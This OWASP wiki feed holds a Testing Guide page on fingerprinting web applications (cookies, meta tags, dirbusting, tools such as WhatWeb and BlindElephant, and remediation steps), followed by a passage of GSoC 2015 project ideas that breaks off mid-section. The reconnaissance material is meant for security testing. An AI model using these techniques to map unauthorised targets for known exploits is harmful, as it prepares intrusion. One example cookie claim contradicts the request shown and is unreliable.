OWASP - User contributions [en]

Fingerprint Web Application (OTG-INFO-009)

2015-07-21T14:35:02Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==

There is nothing new under the sun, and nearly every web application that one may think of developing has already been developed. With the vast number of free and open source software projects that are actively developed and deployed around the world, it is very likely that an application security test will face a target site that is entirely or partly dependent on these well known applications (e.g. Wordpress, phpBB, Mediawiki, etc). Knowing the web application components that are being tested significantly helps in the testing process and will also drastically reduce the effort required during the test. These well known web applications have known HTML headers, cookies, and directory structures that can be enumerated to identify the application.

== Test Objectives ==

Identify the web application and version to determine known vulnerabilities and the appropriate exploits to use during testing.

== How to Test ==

=== Cookies ===
A relatively reliable way to identify a web application is by the application-specific cookies.

Consider the following HTTP-request:

<pre>
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
'''Cookie: wp-settings-time-1=1406093286; wp-settings-time-2=1405988284'''
DNT: 1
Connection: keep-alive
Host: blog.owasp.org
</pre>

The cookie ''CAKEPHP'' has automatically been set, which gives information about the framework being used. List of common cookies names is presented in Cpmmon Application Identifiers section. However, it is possible to change the name of the cookie.

=== HTML source code ===
This technique is based on finding certain patterns in the HTML page source code. Often one can find a lot of information which helps a tester to recognize a specific web application. One of the common markers are HTML comments that directly lead to application disclosure. More often certain application-specific paths can be found, i.e. links to application-specific css and/or js folders. Finally, specific script variables might also point to a certain application.

From the meta tag below, one can easily learn the application used by a website and its version. The comment, specific paths and script variables can all help an attacker to quickly determine an instance of an application.

<pre>
<meta name="generator" content="WordPress 3.9.2" />
</pre>

More frequently such information is placed between <head></head> tags, in <meta> tags or at the end of the page. Nevertheless, it is recommended to check the whole document since it can be useful for other purposes such as inspection of other useful comments and hidden fields.

=== Specific files and folders ===
Apart from information gathered from HTML sources, there is another approach which greatly helps an attacker to determine the application with high accuracy. Every application has its own specific file and folder structure on the server. It has been pointed out that one can see the specific path from the HTML page source but sometimes they are not explicitly presented there and still reside on the server.

In order to uncover them a technique known as dirbusting is used. Dirbusting is brute forcing a target with predictable folder and file names and monitoring HTTP-responses to emumerate server contents. This information can be used both for finding default files and attacking them, and for fingerprinting the web application. Dirbusting can be done in several ways, the example below shows a successful dirbusting attack against a WordPress-powered target with the help of defined list and intruder functionality of Burp Suite.

[[Image:Wordpress_dirbusting.png]]

We can see that for some WordPress-specific folders (for instance, /wp-includes/, /wp-admin/ and /wp-content/) HTTP-reponses are 403 (Forbidden), 302 (Found, redirection to wp-login.php) and 200 (OK) respectively. This is a good indicator that the target is WordPress-powered. The same way it is possible to dirbust different application plugin folders and their versions. On the screenshot below one can see a typical CHANGELOG file of a Drupal plugin, which provides information on the application being used and discloses a vulnerable plugin version.

[[Image:Drupal_botcha_disclosure.png]]

Tip: before starting dirbusting, it is recommended to check the robots.txt file first. Sometimes application specific folders and other sensitive information can be found there as well. An example of such a robots.txt file is presented on a screenshot below.

[[Image:Robots-info-disclosure.png]]

Specific files and folders are different for each specific application. It is recommended to install the corresponding application during penetration tests in order to have better understanding of what infrastructure is presented and what files might be left on the server. However, several good file lists already exist and one good example is FuzzDB wordlists of predictable files/folders (http://code.google.com/p/fuzzdb/).

== Common Application Identifiers ==
=== Cookies ===

{| class="wikitable"
|-
| phpBB || phpbb3_
|-
| Wordpress || wp-settings
|-
| 1C-Bitrix || BITRIX_
|-
| AMPcms || AMP
|-
| Django CMS || django
|-
| DotNetNuke || DotNetNukeAnonymous
|-
| e107 || e107_tz
|-
| EPiServer || EPiTrace, EPiServer
|-
| Graffiti CMS || graffitibot
|-
| Hotaru CMS || hotaru_mobile
|-
| ImpressCMS || ICMSession
|-
| Indico || MAKACSESSION
|-
| InstantCMS || InstantCMS[logdate]
|-
| Kentico CMS || CMSPreferredCulture
|-
| MODx || SN4[12symb]
|-
| TYPO3 || fe_typo_user
|-
| Dynamicweb || Dynamicweb
|-
| LEPTON || lep[some_numeric_value]+sessionid
|-
| Wix || Domain=.wix.com
|-
| VIVVO || VivvoSessionId
|}

=== HTML source code ===

{| class="wikitable"
|-
! Application !! Keyword
|-
| Wordpress || <meta name="generator" content="WordPress 3.9.2" />
|-
| phpBB || <body id="phpbb"
|-
| Mediawiki || <meta name="generator" content="MediaWiki 1.21.9" />
|-
| Joomla || <meta name="generator" content="Joomla! - Open Source Content Management" />
|-
| Drupal || <meta name="Generator" content="Drupal 7 (http://drupal.org)" />
|-
| DotNetNuke || DNN Platform - http://www.dnnsoftware.com
|}

More info https://www.owasp.org/index.php/Web-metadata

== Tools ==
A list of general and well-known tools is presented below. There are also a lot of other utilities, as well as framework-based fingerprinting tools.

=== WhatWeb ===
Website: http://www.morningstarsecurity.com/research/whatweb <br>
Currently one of the best fingerprinting tools on the market. Included in a default [[Kali Linux]] build.
Language: Ruby
Matches for fingerprinting are made with:
* Text strings (case sensitive)
* Regular expressions
* Google Hack Database queries (limited set of keywords)
* MD5 hashes
* URL recognition
* HTML tag patterns
* Custom ruby code for passive and aggressive operations

Sample output is presented on a screenshot below:

[[Image:whatweb-sample.png]]

=== BlindElephant ===
Website: https://community.qualys.com/community/blindelephant <br>
This great tool works on the principle of static file checksum based version difference thus providing a very high quality of fingerprinting.
Language: Python

Sample output of a successful fingerprint:
<pre>
pentester$ python BlindElephant.py http://my_target drupal
Loaded /Library/Python/2.7/site-packages/blindelephant/dbs/drupal.pkl with 145 versions, 478 differentiating paths, and 434 version groups.
Starting BlindElephant fingerprint for version of drupal at http://my_target

Hit http://my_target/CHANGELOG.txt
File produced no match. Error: Retrieved file doesn't match known fingerprint. 527b085a3717bd691d47713dff74acf4

Hit http://my_target/INSTALL.txt
File produced no match. Error: Retrieved file doesn't match known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4

Hit http://my_target/misc/drupal.js
Possible versions based on result: 7.12, 7.13, 7.14

Hit http://my_target/MAINTAINERS.txt
File produced no match. Error: Retrieved file doesn't match known fingerprint. 36b740941a19912f3fdbfcca7caa08ca

Hit http://my_target/themes/garland/style.css
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14

...

Fingerprinting resulted in:
7.14

Best Guess: 7.14
</pre>

=== Wappalyzer ===
Website: http://wappalyzer.com <br>
Wapplyzer is a Firefox Chrome plug-in. It works only on regular expression matching and doesn't need anything other than the page to be loaded on browser. It works completely at the browser level and gives results in the form of icons. Although sometimes it has false positives, this is very handy to have notion of what technologies were used to construct a target website immediately after browsing a page.

Sample output of a plug-in is presented on a screenshot below.

[[Image:Owasp-wappalyzer.png]]

== References ==
'''Whitepapers'''<br>
* Saumil Shah: "An Introduction to HTTP fingerprinting" - http://www.net-square.com/httprint_paper.html
* Anant Shrivastava : "Web Application Finger Printing" - http://anantshri.info/articles/web_app_finger_printing.html

== Remediation ==
The general advice is to use several of the tools described above and check logs to better understand what exactly helps an attacker to disclose the web framework. By performing multiple scans after changes have been made to hide framework tracks, it's possible to achieve a better level of security and to make sure of the framework can not be detected by automatic scans. Below are some specific recommendations by framework marker location and some additional interesting approaches.

==== HTTP headers ====
Check the configuration and disable or obfuscate all HTTP-headers that disclose information the technologies used. Here is an interesting article about HTTP-headers obfuscation using Netscaler:
http://grahamhosking.blogspot.ru/2013/07/obfuscating-http-header-using-netscaler.html

==== Cookies ====
It is recommended to change cookie names by making changes in the corresponding configuration files.

==== HTML source code ====
Manually check the contents of the HTML code and remove everything that explicitly points to the framework.

General guidelines:
*Make sure there are no visual markers disclosing the framework
*Remove any unnecessary comments (copyrights, bug information, specific framework comments)
*Remove META and generator tags
*Use the companies own css or js files and do not store those in a framework-specific folders
*Do not use default scripts on the page or obfuscate them if they must be used.

==== Specific files and folders ====
General guidelines:
*Remove any unnecessary or unused files on the server. This implies text files disclosing information about versions and installation too.
*Restrict access to other files in order to achieve 404-response when accessing them from outside. This can be done, for example, by modifying htaccess file and adding RewriteCond or RewriteRule there. An example of such restriction for two common WordPress folders is presented below.
<pre>
RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]
RewriteCond %{REQUEST_URI} /wp-admin/$
RewriteRule $ /http://your_website [R=404,L]
</pre>

However, these are not the only ways to restrict access. In order to automate this process, certain framework-specific plugins exist. One example for WordPress is StealthLogin (http://wordpress.org/plugins/stealth-login-page).

==== Additional approaches ====
General guidelines:
*Checksum management
*:The purpose of this approach is to beat checksum-based scanners and not let them disclose files by their hashes. Generally, there are two approaches in checksum management:
*:*Change the location of where those files are placed (i.e. move them to another folder, or rename the existing folder)
*:*Modify the contents - even slight modification results in a completely different hash sum, so adding a single byte in the end of the file should not be a big problem.
*Controlled chaos
*:A funny and effective method that involves adding bogus files and folders from other frameworks in order to fool scanners and confuse an attacker. But be careful not to overwrite existing files and folders and to break the current framework!

GSoC2015 Ideas

2015-02-17T12:15:26Z

Andrew Muller:

=OWASP Project Requests=

== OWASP Hackademic Challenges ==

[[OWASP Hackademic Challenges Project]] helps you test your knowledge on web application security. You can use it to actually attack web applications in a realistic but also controllable and safe environment. After a wonderfull 2014 GSoC with 100 new challenges and a couple of new plugins we're mainly looking to get new features in and maybe a couple of challenges. Bellow is a list of proposed features.

'''Tips to get you started in no particular order:'''
* Read the [[GSoC SAT]]
* Check the Hackademic wiki page linked above
* Contact us through the mailing list or irc channel.
* Check our [https://github.com/Hackademic/hackademic github repository] and especially the [https://github.com/Hackademic/hackademic/issues open tickets]

=== Web Sandbox ===

'''Brief Explanation:'''

After a very successfull OWASP Winter Code Sprint we have a brand new Sandbox feature which uses Linux Containers to create virtual space for each user. So we can host properly vulnerable challenges and maybe execute some code server side. However, the sandbox is not fully complete, we need many features here and there to make it easily deployable and improve it's administration.

Ideas on the project:

* Simple sandbox administration frontend for the web. -- An admin console to start and kill sandboxes manually and to list the status and resources used by each one.
* Secure the implementation -- Now we have a functioning prototype, we know that Linux Containers are quite safe but we haven't explicitly tested our configuration and use of them.
* Your idea here...

'''Expected Results:'''

Better sandboxing

'''Knowledge Prerequisites:'''

Comfortable in Linux administration and some security knowledge depending on the specific project.

'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders

=== Source Code testing environment - Defensive Challenges ===

'''Brief Explanation:'''

Existing challenges are based on a dynamic application testing concept. We would like to work on a project that will give the capability to the attacker to review a vulnerable piece of source code, make corrections and see the result in a realistic (but yet safe) runtime environment. The code can either be run if needed or tested for correctness and security. The implementation challenges of such a project can be numerous, including creating a realistic but also secure environment, testing submitted solutions and grading them in an automatic manner. At the same time there are now numerous sites that support submitting code and then simulate or implement a compiler's functionality.

'''Expected Results:'''

A source code testing and improvement environment where a user will be able to review, improve and test the result of a piece of source code.

'''Knowledge Prerequisites:'''

Comfortable in PHP, HTML. Good understanding of Application Security, source code analysis and related vulnerabilities.

'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders

=== Student performance analytics ===

'''Brief Explanation:'''

We need a better way to measure the student's performance and how it varies depending on the problem. You will write a plugin (or make changes to the core depending on your implementation proposal) to gather all sorts of performance data and present them in a meaningfull way.

'''Expected Results:'''

A page to view performance metrics of differenct students.
( Hackalytics )

'''Knowledge Prerequisites:'''

Comfortable in PHP, HTML, javascript. Some understanding of analytics.

'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders

=== New Template ===

'''Brief Explanation:'''

We need a cool new template since the old one is getting pretty old.
You can do it using the latest frontend bells and whistles (like angular,bootstrap or the tools of your choice).

'''Expected Results:'''

A new template.

'''Knowledge Prerequisites:'''

Comfortable in Css, HTML, javascript and/or the tools you plan on using.

'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders

=== Gamification ===

'''Brief Explanation:'''

Gamification is a feature widely used in many learning platforms out there and it would be nice if we could have it too.
You will need to design and implement the awards, badges and whatever other feature you have in mind. You will also implement the front and backend changes necessary to present the results.

'''Expected Results:'''

Gamification of the platform. ( Hackademicification )

'''Knowledge Prerequisites:'''

Comfortable in Css, HTML, javascript and/or the tools you plan on using.

'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders

=== Your idea ===

'''Brief Explanation:'''

Hackademic is it's community, we always welcome new ideas and cool features. Come over to the irc channel or mailing list and propose something.
We'd be happy to help you get it done.

'''Expected Results:'''

Features we didn't know we needed. ;-)

'''Knowledge Prerequisites:'''

Comfortable in whatever tools and languages you plan on using.

'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders

== OWASP WebGoat .NET - Vulnerable Website ==

'''Brief Explanation:'''

The actual WebGoat .NET is a vulnerable website built in ASP.NET using C#. There are some challenges already built in but we would like to add more vulnerable features
https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET#tab=Overview

'''Expected Results:'''

We want to add more modules such as
*WebSockets
*CSRF challenge
*Finalise testing an upgrade to the .NET framework 4.5
*Retest and clean up actual modules

'''Knowledge Prerequisites:'''

Comfortable in .NET, HTML and C#. Good understanding of Application Security, source code analysis and related vulnerabilities.

'''Mentors:''' Johanna Curiel, Jerry Hoff - OWASP WebGoat Project Leaders

==OWASP WebGoatPHP==
===OWASP WebGoatPHP===
'''Description:'''
[[Webgoat]] is a deliberately insecure open source software made by OWASP using Java programming language. It has a set of challenges and steps, each providing the user with one or more web application vulnerability which user tries to solve. There are also hints and auto-detection of correct solutions.
Since Java is not the most common web application programming language, and it doesn't have many of the bugs other languages such as PHP have when it comes to security, OWASP has [[OWASP_WebGoat_Reboot2012|dedicated in 2012]] an amount of $5000 for promotion of WebGoatPHP.

If you want to know more about WebGoatPHP, I suggest downloading and giving WebGoat a try. It is one of OWASP prides (about 200000 downloads).

'''Expected Results:''' WebGoatPHP first version is ready, it needs thorough testing and delivery. It also needs new challenges added and a CTF hosted on it.

'''Knowledge prerequisite:''' You just need to know PHP and SQL. Familiarity with web application security is recommended.

'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]

==OWASP PureCaptcha==
===OWASP PureCaptcha===
'''Description:'''
[[OWASP PureCaptcha]] is an OWASP project aiming to simplify CAPTCHA usage. Instead of proving rigorous APIs and many dependencies, it is a single source code file (library) that does not depend on anything and generates secure and fast CAPTCHAs, with little memory and processor footprint.
PureCaptcha is currently released for PHP. The candidate will port this to several other programming languages (priority on web languages) and provide full test coverage.

'''Expected Results:''' PureCaptcha library for at least 3 new programming languages. Unit testing for the core version. A study on security of the generated captcha can also be performed.

'''Knowledge prerequisites:''' Any programming language you want to port into, as well as PHP.

'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]], Jesse Burns

==OWASP PHP Framework==
===OWASP PHP Framework===

'''Description:'''
OWASP PHP Security project plans to gather around secure PHP libraries, and provide a full featured framework of libraries for secure web applications in PHP, both as separate de-coupled libraries and as a whole secure web application framework. Many aspects of this project are already handled, and are being added to OWASP.
The project has been done in the last two years, and now a framework has been built upon these libraries and security best practices. The framework intends to merge security practices with practical frameworks, and aims to be simple and lightweight.

'''Expected Results: ''' A secure yet robust and practical framework for PHP developers.

'''Knowledge prerequisite:''' This project requires at least one year of experience working with different PHP projects and frameworks. It will be too hard for someone with average PHP experience.

'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]], Rahul Chaudhary

'''Skill Level:''' Advanced

==OWASP RBAC Project==
===OWASP RBAC Project===
'''Description:''' ''For the last 7 years, improper access control has been the issue behind two of the Top Ten lists''.

RBAC stands for Role Based Access Control and is the de-facto access control and authorization standard. It simplifies access control and its maintenance for small and enterprise systems alike. NIST RBAC standard has four levels, the second level hierarchical RBAC is intended for this project.

Unfortunately because of many performance and development problems, no suitable RBAC implementation was available until recently, so developers and admins mostly used ACLs and other forms of simple access control methods, which leads to broken and unmaintainable access control over the time.

[[OWASP RBAC project]] has already implemented this, has a wide audience and has released several minor and two major versions. Many new features and modifications are expected by the community behind this.

'''Expected Results:''' OWASP RBAC project more mature by porting from PHP to other programming languages, OR adding new features and testing on the PHP version.

'''Knowledge prerequisite:''' Good SQL knowledge, library development skills, familiarity with one of the programming languages as well as PHP. We recommend average experience and high skills.

'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]], Rahul Chaudhary, Jesse Burns

'''Skill Level:''' Advanced

For more info, visit [http://phprbac.net phprbac.net]

==OWASP PHP Widgets==
===OWASP PHP Widgets===
'''Description:''' Pull MVC (widget-based web views) has been available for many years on all major web programming languages, and even for Javascript. PHP on the other hand, lacks these and suffers a lot from forcing push MVC on its developers. There are a few libraries around, not secure and not mature at all. Providing a robust set of widgets for PHP developers not only smoothes web development process, it automatically mitigates a lot of web attacks that are based on user inputs to forms and other web elements (e.g CSRF, SQL Injection, XSS).

'''Expected Results:''' OWASP PHP Widgets is currently in beta, and the candidate will spend time testing the functionalities, providing test coverage, adding new widgets and features, and building a user community.

'''Knowledge prerequisite:''' Average PHP programming. Good experience with web applications.

'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]

==OWASP Seraphimdroid==

'''Description:''' SeraphimDroid is educational application for android devices that helps users learn about risks and threats coming from other android applications. SeraphimDroid scans your devices and teaches you about risks and threats coming from application permissions. Also this project will deliver paper on android permissions, their regular use, risks and malicious use. In second version SeraphimDroid will evolve to application firewall for android devices not allowing malicious SMS or MMS to be sent, USSD codes to be executed or calls to be called without user permission and knowledge.

'''Expected Results:''' After last year's GSoC first version of project was released on Google play. However, educational component, setting check, potential android widgets are still missing and would be beneficial. Also, malicious behavior prevention mechanisms should be added and some bugs should be fixed.

'''Knowledge prerequisite:''' Average Android and JAVA programming. Knowledge of XML and SQLite Good experience with mobile applications.

'''Mentor:''' [[User:Nikola Milosevic|Nikola Milosevic]]

== OWASP OWTF ==

=== OWASP OWTF - VMS - OWTF Vulnerability Management System ===

'''Brief explanation:'''

Background problem to solve:

We are trying to reduce the human work burden where there will be hundreds of issues listing apache out of date or php out of date.

Proposed solution:

We can meta aggregate these duplicate issues into one issue of "outdated software / apache / php detected". with XYZ list of issues in them.

A separate set of scripts that allows for grouping and management of vulnerabilities (i.e. think huge assessments), to be usable *both* from inside + outside of OWTF in a separate sub-repo here: https://github.com/owtf

VMS will have the following features:
* Vulnerability correlation engine which will allow for quick identification of unique vulnerability and deduplication.
* Vulnerability table optimization : combining redundant vulnerabilities like example : PHP <5.1 , PHP < 5.2 , PHP < 5.3 all suggest upgrade php so if multiple issues are reported they should be combined.
* Integration with existing bug tracking system like example bugzilla, jira : Should not be too hard as all such system have one or the other method exposed (REST API or similar)
* Fix Validation : Since we integrate with bug tracking once dev fixed the bug and code deployed we can run specific checks via * OWTF or other tool (may be specific nessus or nexpose plugin or similar.)
* Management Dashboard : Could be exposed to Pentester, Higher Management where stats are shown with lesser details but more of high level overview.

[http://www.slideshare.net/null0x00/nessus-and-reporting-karma Similar previous work for Nessus]

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-
* Good performance
* Unit tests / Functional tests
* Good documentation

'''Knowledge Prerequisite:'''

Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

=== OWASP OWTF - HTTP Request Translator Improvements ===

'''Brief explanation:'''

Problem to solve:

There are many situations in web app pentests where just no tool will do the job and you need to script something, or mess around with the command line (classic example: sequence of steps where each step requires input from the previous step). In these situations, translating an HTTP request or a sequence of HTTP requests, takes valuable time which the pentester might just not really have.

Proposed solution:

An HTTP request translator, a *standalone* *tool* that can:

1) Be used from inside OR outside of OWTF.

2) Translate raw HTTP requests into curl commands or bash/python/php/ruby/PowerShell scripts

3) Provide essential quick and dirty transforms: base64 (encode/decode), urlencode (encode/decode)
* Transforms with boundary strings? (TBD)
* Individually or in bulk? (TBD)

'''Essential Function: "--output" argument'''

CRITICAL: The command/script should be generated so that the request is sent as literally as possible.

Example: NO client specific headers are sent. IF the original request had "User-Agent: X", the generated command/script should have EXACTLY that (i.e. NOT a curl user agent, etc.). Obviously, the same applies to ALL other headers.

NOTE: Ideally the following should be implemented using an extensible plugin architecture (i.e. NEW plugins are EASY to add)
* http request in => curl command out
* http request in => bash script out
* http request in => python script out
* http request in => php script out
* http request in => ruby script out
* http request in => PowerShell script out

'''Basic additional arguments:'''

- "--proxy" argument: generates the command/script with the relevant proxy option

NOTE: With this the command/script may send requests through a MiTM proxy (i.e. OWTF, ZAP, Burp, etc.)

- "--string-search" argument: generates the command/script so that it:

1) performs the request

2) then searches for something in the response (i.e. literal match)

- "--regex-search" argument: generates the command/script so that it:
1) performs the request

2) then searches for something in the response (i.e. regex match)

'''OWTF integration'''

The idea here, is to invoke this tool from:

1) Single HTTP transactions:

For example, have a button to "export http request" + then show options equivalent to the flags

2) Multiple HTTP transactions:

Same as with Single transactions, but letting the user "select a number of transactions" first (maybe a checkbox?).

'''Desired input formats:'''

* Read raw HTTP request from stdin -Suggested default behaviour! :)-

Example: cat path/to/http_request.txt | http-request-translator.py --output

* Interactive mode: read raw HTTP request from keyboard + "hit enter when ready"

Suggestion: This could be a "-i" (for "interactive") flag and/or the fallback option when "stdin is empty"

Example:

1) User runs tool with desired flags (i.e. "--output ruby --proxy 127.0.0.1:1234 ...", etc.)

2) Tool prints: "Please paste a raw HTTP request and hit enter when ready"

3) User pastes a raw HTTP requests + hits enter

4) Tool outputs whatever is relevant for the flags + http request given

* For bulk processing: Maybe a directory of raw http request files?

'''Nice to have: Transforms'''

In the context of translating raw HTTP requests into commands/scripts, what we want here is to provide some handy "macros" so that the relevant command/script is generated accordingly.

Example:

NOTE: Assume something like the following arguments: "--transform-boundary=@@@@@@@ --transform-language=php"

Step 1) The user provides a raw HTTP request like this:

GET /path/to/urlencode@@@@@@@abc d@@@@@@@/test
Host: target.com
...

Step 2) The tool generates a bash script like the following:

#!/bin/bash

PARAM1=$(echo 'abc d' | php -r "echo urlencode(fgets(STDIN));")
curl ...... "http://target.com/path/to/$PARAM1/test"

OR a "curl command" like the following:
PARAM1=$(echo 'abc d' | php -r "echo urlencode(fgets(STDIN));"); curl ...... "http://target.com/path/to/$PARAM1/test"

This feature can be valuable to shave a bit more time in script writing.

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-
* Good performance
* Unit tests / Functional tests
* Good documentation

'''Knowledge Prerequisite:'''

Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

=== OWASP OWTF - JavaScript Library Sniper Improvements ===

'''Brief explanation:'''
This is a project that tries to resolve a very common problem during penetration tests:

The customer is running a number of outdated JavaScript Libraries, but there is just not enough time to determine if something useful -i.e. something *really* bad! :)- can be done with that or not.

To solve this problem, we propose a *standalone* *tool* that can:

1) Be run BOTH from inside AND outside of OWTF

2) Build and *update* a fingerprint JavaScript library database of:
* Library File hashes => JavaScript Library version
* Library File lengths => JavaScript Library version
* (Nice to have:) As above, but for each individual github commit (possible drawback: too big?)

3) Build and *update* a vulnerability database of:
* JavaScript Library version => CVE - CVSS score - Vulnerability info

4) Given a [ JavaScript file OR hash OR length ], found in the database, provides:
* JavaScript Library version
* List of vulnerabilities sorted in descending CVSS score order

5) (very cool to have) Given a list of JavaScript files (maybe a directory), provides:
* ALL Library/vulnerability matches described on 4)

Once the standalone tool is built and verified to be working, OWTF should be able to:

Feature 1) GREP plugin improvement (Web Application Fingerprint):

Step 1) Lookup file lengths and hashes in the "JavaScript library database"

Step 2) If a match is found: provide the list of known vulnerabilities against "JavaScript library X" to the user

Feature 2) SEMI-PASSIVE plugin improvement (Web Application Fingerprint):

1) Requests all referenced BUT missing JavaScript files -i.e. scanners won't load JavaScript files! :)-

2) re-runs the GREP plugin on the new files (i.e. to avoid missing vulns due to unrequested JavaScript files)

Potential projects worth having a look for potential overlap/inspiration:
* [https://owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Check?]

How many JavaScript libraries should be included?
* As many as possible, but especially the major ones: jQuery, knockout, etc.
* "Nirvana" Nice to have: ALL Individual versions of ALL JavaScript files from ALL opensource projects, (ideally) even if the project is not a JavaScript library -i.e. JavaScript files from Joomla, Wordpress, etc.-

Common JavaScript library fingerprinting techniques include:
* Parse the JavaScript file and grab the version from there
* Determine the JavaScript version based on a hash of the file
* Determine the JavaScript version based on the length of the file

Other Challenges:
* "the file" could be "the minimised file", "the expanded file" or even "a specific JavaScript file from Library X"
* When the JavaScript file does not match a specific version:
1) The commit that matches the closest should (ideally) be found
2) The NEXT library version after that commit (if present) should be found
3) From there, it is about reusing the knowledge to figure out public vulnerabilities, CVSS scores, etc. again

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-
* Good performance
* Unit tests / Functional tests
* Good documentation

'''Knowledge Prerequisite:'''

Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

=== OWASP OWTF - Off-line HTTP traffic uploader ===

'''Brief explanation:'''

Although it is awesome that OWTF runs a lot of tools on behalf of the user, there are situations where uploading the HTTP traffic of another tool off-line can be very interesting for OWTF, for example:

* Tools that OWTF has trouble proxying right now: skipfish, hoppy
* Tools that the user may have run manually OR even from a tool aggregator -very common! :)-
* Tools that we just don't run from OWTF: ZAP, Burp, Fiddler

This project is about implementing an off-line utility able to parse HTTP traffic:

1) Figure out how to read output files from various tools like:
skipfish, hoppy, w3af, arachni, etc.
Nice to have: ZAP database, Burp database

2) Translate that into the following clearly defined fields:

* HTTP request
* HTTP response status code
* HTTP response headers
* HTTP response body

3) IMPORTANT: Implement a plugin-based uploader system

4) IMPORTANT: Implement ONE plugin, that uploads that into the OWTF database

5) IMPORTANT: OWTF should ideally be able to invoke the uploader right after running a tool
Example: OWTF runs skipfish, skipfish finishes, OWTF runs the HTTP traffic uploader, all skipfish data is pushed to the OWTF DB.

6) CRITICAL: The off-line HTTP traffic uploader should be smart enough to read + push 1-by-1 instead of *stupidly* trying to load everything into memory first, you have been warned! :)

Why? Because in a huge assessment, the output of "tool X" can be "10 GB", which is *stupid* to load into memory, this is OWTF, we *really* try to foresee the crash before it happens! ;)

CRITICAL: It is important to implement a plugin-based uploader system, so that other projects can benefit from this work (i.e. to be able to import third-party tool data to ZAP, Burp, and other tools in a similar fashion), and hence hopefully join us in maintaining this project moving forward.

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-
* Good performance
* Unit tests / Functional tests
* Good documentation

'''Knowledge Prerequisite:'''

Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

=== OWASP OWTF - Health Monitor ===

'''Brief explanation:'''

In some cases, especially on large assessments (think: > 30 URLs) a number of things often go wrong and OWTF needs to recover from everything, which is difficult.

For this reason, OWTF needs an independent module, which is completely detached from OWTF (a different process), to ensure the health of the assessment is in check at all times, this includes the following:

